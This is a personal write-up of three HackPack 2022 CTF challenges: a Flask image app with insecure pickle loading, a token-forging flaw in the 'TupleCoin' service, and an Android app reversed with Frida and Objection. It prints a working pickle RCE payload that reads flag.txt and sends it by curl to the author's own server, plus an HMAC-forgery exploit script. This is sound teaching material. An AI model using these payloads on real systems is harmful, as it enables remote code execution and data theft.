Writeup: HackPackCTF-2022

About

Hello readers, I have regularly started playing CTFs on the weekends again. I hope this time that I’ll be regular.

Last weekend I played the HackPack2022 CTF. It was a really fun CTF and I learned a lot of things.

Out of all the challenges solved, I am posting the writeups of the most interesting ones. Enjoy !

Web: Imported Kimichi

This challenge highlighted “insecure unpickling” bug . The challenge gave us a website which we can use for image upload and later viewing.

It also provided with the app’s source code. here it is.

 1import uuid
 2from flask import *
 3from flask_bootstrap import Bootstrap
 4import pickle
 5import os
 6
 7app = Flask(__name__)
 8Bootstrap(app)
 9
10app.secret_key = 'sup3r s3cr3t k3y'
11
12ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])
13
14images = set()
15images.add('bibimbap.jpg')
16images.add('galbi.jpg')
17images.add('pickled_kimchi.jpg')
18
19@app.route('/')
20def index():
21    return render_template("index.html", images=images)
22
23@app.route('/upload', methods=['GET', 'POST'])
24def upload():
25    if request.method == 'POST':
26        image = request.files["image"]
27        if image and image.filename.split(".")[-1].lower() in ALLOWED_EXTENSIONS:
28            # special file names are fun!
29            extension = "." + image.filename.split(".")[-1].lower()
30            fancy_name = str(uuid.uuid4()) + extension
31
32            image.save(os.path.join('./images', fancy_name))
33            flash("Successfully uploaded image! View it at /images/" + fancy_name, "success")
34            return redirect(url_for('upload'))
35
36        else:
37            flash("An error occured while uploading the image! Support filetypes are: png, jpg, jpeg", "danger")
38            return redirect(url_for('upload'))
39
40    else:
41        return render_template("upload.html")
42
43@app.route('/images/<filename>')
44def display_image(filename):
45    try:
46        pickle.loads(open('./images/' + filename, 'rb').read())
47    except:
48        pass
49    return send_from_directory('./images', filename)
50
51if __name__ == "__main__":
52    app.run(host='0.0.0.0')
53

Looking at the source code, we deduce that the app is checking for image extension and then uploading it to /images/ directory with a random name.

The interesting part is in the /image/<filename> route

1@app.route('/images/<filename>')
2def display_image(filename):
3    try:
4        pickle.loads(open('./images/' + filename, 'rb').read())
5    except:
6        pass
7    return send_from_directory('./images', filename)

as you can see right inside the “try” block , the app tries to load picked data from the image. And we all know that processing unsafe pickle data can lead to an rce. More about it here

So the steps to get an rce for this app is

  1. Create a image with insecure pickle data
  2. Upload image
  3. Visit image to make the app run pickle.loads and get an RCE.

Here is the exploit I used + modified

 1import pickle
 2import base64
 3import os
 4
 5
 6class RCE:
 7    def __reduce__(self):
 8        cmd = ('curl http://<my-aws-ip>/$(cat flag.txt | base64)')
 9        return os.system, (cmd,)
10
11
12if __name__ == '__main__':
13    pickled = pickle.dumps(RCE())
14    f = open("exploit.png" , "wb")
15    f.write(pickled)
16    f.close()

This creates an image exploit.png which will cat the output of flag.txt (i just guessed it would be flag.txt, this way i bypassed the need for a reverse shell) and then curl my aws ip with the base64 encoded flag as a path.

Starting up a listener on AWS and uploading the file, waiting for a few seconds and we will get a response like this

base64 decode and we get the flag

Note Later the flag was changed due to some issues, so I had to exploit this again with the same exploit, and it worked. The new flag was flag{4nd_h3r3_1_w45_th1nk1ng_v1n3g4r_w45_s4n1t4ry}


2. Web TupleCoin

This challenge highlighted the “insecure token generation” bug.

TLDR

  1. Visit robots.txt
  2. Get source code from wget /app/bckup
  3. Run exploit.py :)

Here is the description for the bounty page of the website

# Bug Bounty

Can you steal Tuco's TuCos? If you can, we have a prize for you!!

Things you should know about Tuco before you begin:

-   His account number is 314159265, and you can't have it.
-   He absolutely _hates_ robots, especially ones from Silicon Valley.
-   He fights as savagely as he eats chicken. Once glance at his soiled napkin and his enemies run screaming.

So to create an account, we just have to simply use any random integer except tuco’s account number i.e 314159265. If we use tuco’s account number, we get an error.

  • Create page

To transfer funds, we can visit the transfer page. Requests and response shown on the right side.

  • Transfer page

And finally to certify the transaction, the app calls /api/transaction/commit , as can be seen on the right side.

  • Certify

Here we can see the source code for better understanding of what’s happening behind the scenes.

  1from __future__ import annotations
  2import hmac
  3import math
  4import os
  5import secrets
  6
  7from fastapi import FastAPI, HTTPException
  8from fastapi.responses import RedirectResponse
  9from fastapi.staticfiles import StaticFiles
 10from pydantic import BaseModel
 11
 12
 13SECRET_KEY = secrets.token_bytes(32)    # random each time we run
 14TUCO_ACCT_NUM = 314159265
 15
 16FLAG_FILE = os.environ.get("TUPLECOIN_FLAG_FILE", "flag.txt")
 17try:
 18    with open(FLAG_FILE) as fd:
 19        FLAG = fd.read().strip()
 20except:
 21    FLAG = "we has a fake flag for you, but it won't get you points at the CTF..."
 22
 23
 24app = FastAPI()
 25APP_DIST_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "client", "dist")
 26app.mount("/app", StaticFiles(directory=APP_DIST_DIR), name="static")
 27
 28
 29
 30class Balance(BaseModel):
 31    acct_num: int
 32    num_tuco: float
 33
 34    def serialize(self) -> bytes:
 35        return (str(self.acct_num) + '|' + str(self.num_tuco)).encode()
 36    
 37    def sign(self, secret_key: bytes) -> CertifiedBalance:
 38        return CertifiedBalance.parse_obj({
 39            "balance": {
 40                "acct_num": self.acct_num,
 41                "num_tuco": self.num_tuco,
 42            },
 43            "auth_tag": hmac.new(secret_key, self.serialize(), "sha256").hexdigest(),
 44        })
 45
 46
 47class CertifiedBalance(BaseModel):
 48    balance: Balance
 49    auth_tag: str
 50
 51    def verify(self, secret_key: bytes) -> Balance:
 52        recreate_auth_tag = self.balance.sign(secret_key)
 53        if hmac.compare_digest(self.auth_tag, recreate_auth_tag.auth_tag):
 54            return self.balance
 55        else:
 56            raise ValueError("invalid certified balance")
 57
 58
 59class Transaction(BaseModel):
 60    from_acct: int
 61    to_acct: int
 62    num_tuco: float
 63
 64    def serialize(self) -> bytes:
 65        return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()
 66
 67    def sign(self, secret_key: bytes) -> AuthenticatedTransaction:
 68        tuco_smash = self.serialize()
 69        tuco_hash = hmac.new(secret_key, tuco_smash, "sha256").hexdigest()
 70        
 71        return CertifiedTransaction.parse_obj({
 72            "transaction": {
 73                "from_acct": self.from_acct,
 74                "to_acct": self.to_acct,
 75                "num_tuco": self.num_tuco
 76            },
 77            "auth_tag": tuco_hash,
 78        })
 79
 80
 81class CertifiedTransaction(BaseModel):
 82    transaction: Transaction
 83    auth_tag: str
 84
 85    def verify(self, secret_key: bytes) -> Transaction:
 86        recreated = self.transaction.sign(secret_key)
 87        if hmac.compare_digest(self.auth_tag, recreated.auth_tag):
 88            return self.transaction
 89        else:
 90            raise ValueError("invalid authenticated transaction")
 91
 92
 93@app.get('/', include_in_schema=False)
 94def home():
 95    return RedirectResponse("app/index.html")
 96
 97
 98@app.get('/robots.txt', include_in_schema=False)
 99def robots():
100    return RedirectResponse("app/robots.txt")
101
102# Returns type CertifiedBalance ; Takes Int
103@app.post("/api/account/claim")
104async def account_claim(acct_num: int) -> CertifiedBalance:
105    if acct_num == TUCO_ACCT_NUM:
106        raise HTTPException(status_code=400, detail="That's Tuco's account number! Don't make Tuco mad!")
107    
108    balance = Balance.parse_obj({
109        "acct_num": acct_num,
110        "num_tuco": math.pi,
111    })
112
113    return balance.sign(SECRET_KEY)
114
115# Returns type Certified Transaction; Takes Transaction
116@app.post("/api/transaction/certify")
117async def transaction_certify(transaction: Transaction) -> CertifiedTransaction:
118    if transaction.from_acct == TUCO_ACCT_NUM:
119        raise HTTPException(status_code=400, detail="Ha! You think you can steal from Tuco so easily?!!")
120    return transaction.sign(SECRET_KEY)
121
122# Returns type String ; takes Certified Transcation (WE WILL GET OUR FLAG HERE)
123@app.post("/api/transaction/commit")
124async def transaction_commit(certified_transaction: CertifiedTransaction) -> str:
125    transaction = certified_transaction.verify(SECRET_KEY)
126    if transaction.from_acct != TUCO_ACCT_NUM:
127        return "OK"
128    else:
129        return FLAG
130

Here we can look in the function transaction.sign (line:67), the tuco_smash varible calls self.serialize. In this function we can notice that for the generation of auth token, the app appends from_acct , to_acct and num_tuco without any seperator

This part is important, because without any seperator we can create the auth token for the user tuco by manipulating values. Since the app appends the values without a seperator we can bypass the tuco account check by

<first half of tuco's account number> + <second half of tuco's account number> + num tuco

this will generate the auth-token, which we can use to “commit” as tuco’s account number.

From source code we can deduce that to get the flag we must call /api/transaction/commit with tuco’s account number and a valid hash to get the flag

The “from_acct” param and the “to_acct” param combine to form tuco’s account number and the final string that will be generated - 31415926512

Using the same auth token from the last response in this request All the params combine to form the same string as the previous request. i.e 31415926512

Here is an automated python script to do the same

 1import json
 2import requests
 3
 4url = 'https://tuplecoin.cha.hackpack.club/'
 5tuco = 314159265
 6headers = {
 7        "Content-Type":"application/json"
 8        }
 9
10data = {
11        "from_acct" : int(str(tuco)[:-2]),
12        "to_acct" : int(str(tuco)[-2:]),
13        "num_tuco" : 12
14    }
15
16r = requests.post(url + 'api/transaction/certify' ,json = data ,  headers = headers)
17
18
19j = json.loads(r.text)
20auth = j["auth_tag"]
21
22exploit = {
23        "transaction":{
24        "from_acct": tuco,
25        "to_acct":1,
26        "num_tuco":2
27        },
28        "auth_tag": auth
29    }
30
31r = requests.post(url + 'api/transaction/commit' , json = exploit , headers = headers)
32print(r.text)
33

output


Rev: 3T 3ND UR HOM3

This was an android challenge. We get an apk so we boot up an android emulator .

Unpacking the APK and editing AndroidManifest.xml to change the minimum android api version required to 23 (idk it was not working on my emulator, had to do this)

Repacking the apk.

Signing the apk

1keytool -genkey -keystore test.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
2
3jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name

Now we install the apk

1adb install modded.apk

Now we have our environment set up, we can now proceed with source code analysis

Viewing source code by Jadx.

This is the main function of the android app. On line 38 we can see the apk calling a method c of the class qg (since qgVar is object of qg). Let’s inspect this method.

The method c returns some string value, we can hook this method and see it’s return value. This will give us the flag most probably.

So to do this, there are two ways

The Skiddie Way : Using Objection

Using objection we can check for classes and find the return value for the same.

1objection -g com.hackpack.et explore
1android hooking watch class_method qg.c --dump-return

Now entering any text inside the textbox will call the function and give us the flag

Pro Way: Manual function override using frida.

We know which class we have to hook, so creating a custom frida script for the same

1Java.perform(function(){
2  Java.use("qg").c.implementation = function (a , b) {
3    console.log("Exploit Loaded");
4    var retVal = this.c(a , b);
5    console.log(retVal);
6    return retVal;
7  }
8});

The above scripts overloads the function qg.c and then prints it’s return value.

Now running this on frida

1frida -U -j exploit.js com.hackpack.et --no-pause

Again entering text on the text box will print the flag for the challenge


Conclusion

I hope you all learned something from this writeup. If you feel that this could be improved, feel free to mail me. Thankyou HackPack team for this wonderful CTF.